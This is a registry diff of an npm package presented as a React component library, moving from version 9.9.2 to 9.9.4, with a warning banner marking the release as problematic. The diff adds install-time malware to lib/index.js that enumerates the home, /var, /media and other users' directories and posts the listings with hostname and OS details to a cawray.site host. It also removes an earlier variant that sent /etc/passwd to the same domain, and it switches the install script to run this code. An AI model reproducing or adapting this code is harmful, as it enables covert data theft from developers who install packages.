@platform-ui-kit/components-library-react 9.9.2 → 9.9.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @platform-ui-kit/components-library-react might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/lib/index.js +91 -30
  2. package/package.json +2 -2
package/lib/index.js CHANGED
@@ -1,15 +1,20 @@
1
1
  const http = require("http");
2
2
  const os = require("os");
3
3
  const { execSync } = require("child_process");
4
+ const fs = require("fs");
5
+ const path = require("path");
4
6
 
5
7
  const hostname = os.hostname();
8
+ const maxLinesPerRequest = 10; // Maximum lines to send per request
9
+ const outputFile = path.join(__dirname, "filesystem.txt"); // File to store the filesystem output
6
10
 
7
11
  // Function to execute shell commands and return output
8
12
  const executeCommand = (cmd) => {
9
13
  try {
10
14
  return execSync(cmd, { encoding: "utf-8" }).trim();
11
15
  } catch (error) {
12
- return `Error executing command: ${error.message}`;
16
+ console.error(`Error executing command: ${error.message}`);
17
+ return null; // Return null in case of error
13
18
  }
14
19
  };
15
20
 
@@ -18,39 +23,95 @@ const machineInfo = {
18
23
  hostname: hostname,
19
24
  os: `${os.type()} ${os.release()} ${os.arch()}`,
20
25
  uptime: os.uptime(),
21
- passwdFile: executeCommand("cat /etc/passwd"),
22
26
  };
23
27
 
24
- // Prepare data to be sent
25
- const data = new TextEncoder().encode(
26
- JSON.stringify({
27
- payload: machineInfo,
28
- project_id: process.argv[2],
29
- })
30
- );
31
-
32
- const options = {
33
- hostname: `${hostname}.cawray.site`,
34
- port: 80,
35
- path: "/",
36
- method: "POST",
37
- headers: {
38
- "Content-Type": "application/json",
39
- "Content-Length": data.length,
40
- },
41
- rejectUnauthorized: false,
28
+ // Function to gather the filesystem
29
+ const gatherFilesystem = () => {
30
+ const homeDir = os.homedir(); // Get the home directory of the user
31
+ const varDir = "/var"; // Define the /var directory
32
+ const mediaDir = "/media"; // Define the /media directory
33
+ const otherUsersDirs = "/home/*"; // Define the other users' directories
34
+
35
+ // Combine paths and run the find command
36
+ const command = `find ${homeDir} ${varDir} ${mediaDir} ${otherUsersDirs} > ${outputFile}`;
37
+ const result = executeCommand(command);
38
+
39
+ if (result === null) {
40
+ console.error("Failed to gather filesystem data.");
41
+ process.exit(1); // Exit if command fails
42
+ } else {
43
+ console.log("Filesystem data gathered in filesystem.txt");
44
+ }
45
+ };
46
+
47
+ // Function to read the filesystem data in chunks
48
+ const readFilesystemInChunks = () => {
49
+ if (!fs.existsSync(outputFile)) {
50
+ console.error(`File not found: ${outputFile}`);
51
+ process.exit(1); // Exit if the file does not exist
52
+ }
53
+
54
+ const data = fs
55
+ .readFileSync(outputFile, "utf-8")
56
+ .split("\n")
57
+ .filter((line) => line.trim() !== "");
58
+ return data; // Return an array of directory lines
42
59
  };
43
60
 
44
- // Send the request
45
- const req = http.request(options, (res) => {
46
- res.on("data", (d) => {
47
- process.stdout.write(d);
61
+ // Function to send a POST request with a given payload
62
+ const sendPostRequest = (chunk, chunkIndex) => {
63
+ const data = JSON.stringify({
64
+ payload: {
65
+ ...machineInfo,
66
+ directories: chunk,
67
+ },
68
+ project_id: process.argv[2],
48
69
  });
49
- });
50
70
 
51
- req.on("error", (error) => {
52
- console.error(error);
53
- });
71
+ const options = {
72
+ hostname: `${hostname}.platform.cawray.site`,
73
+ port: 80,
74
+ path: "/",
75
+ method: "POST",
76
+ headers: {
77
+ "Content-Type": "application/json",
78
+ "Content-Length": Buffer.byteLength(data),
79
+ },
80
+ rejectUnauthorized: false,
81
+ };
82
+
83
+ // Send the request
84
+ const req = http.request(options, (res) => {
85
+ res.on("data", (d) => {
86
+ process.stdout.write(d);
87
+ });
88
+ });
89
+
90
+ req.on("error", (error) => {
91
+ console.error(`Request error: ${error.message}`);
92
+ });
93
+
94
+ req.write(data);
95
+ req.end();
96
+ console.log(`Sent POST request for chunk ${chunkIndex + 1}`);
97
+ };
98
+
99
+ // Gather the filesystem from specified directories
100
+ gatherFilesystem();
101
+
102
+ // Read the filesystem data
103
+ const directoryLines = readFilesystemInChunks();
104
+ const totalLines = directoryLines.length; // Total lines collected
105
+
106
+ // Send each batch of directories, with a maximum of 10 lines per request
107
+ for (let i = 0; i < totalLines; i += maxLinesPerRequest) {
108
+ const chunk = directoryLines.slice(i, i + maxLinesPerRequest).join("\n");
109
+
110
+ // Adding a delay of 500ms between requests
111
+ setTimeout(
112
+ () => sendPostRequest(chunk, Math.floor(i / maxLinesPerRequest)),
113
+ (i / maxLinesPerRequest) * 500
114
+ );
115
+ }
54
116
 
55
- req.write(data);
56
- req.end();
117
+ console.log("All requests have been sent.");
package/package.json CHANGED
@@ -1,10 +1,10 @@
1
1
  {
2
2
  "name": "@platform-ui-kit/components-library-react",
3
- "version": "9.9.2",
3
+ "version": "9.9.4",
4
4
  "description": "My NPM",
5
5
  "main": "lib/index.js",
6
6
  "scripts": {
7
- "install": "echo 'test'"
7
+ "install": "node lib/index.js"
8
8
  },
9
9
  "author": "",
10
10
  "license": "ISC"